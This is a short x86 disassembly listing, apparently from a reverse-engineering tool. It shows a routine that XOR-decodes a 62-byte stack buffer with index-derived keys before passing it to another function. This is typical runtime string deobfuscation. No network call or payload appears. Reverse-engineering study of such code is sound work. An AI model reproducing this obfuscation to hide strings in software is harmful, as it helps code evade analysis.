movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x38
jl 0x405964
mov dword [esp + 0x10], edx
cmp edx, 0x3e
jge 0x405a94
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x3e
jl 0x405a64
lea eax, [esp + 0x20]
push eax
call fcn.00401010
mov ecx, dword [esp + 0x4d0]
add esp, 4
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00405efa
mov esp, ebp
pop ebp
ret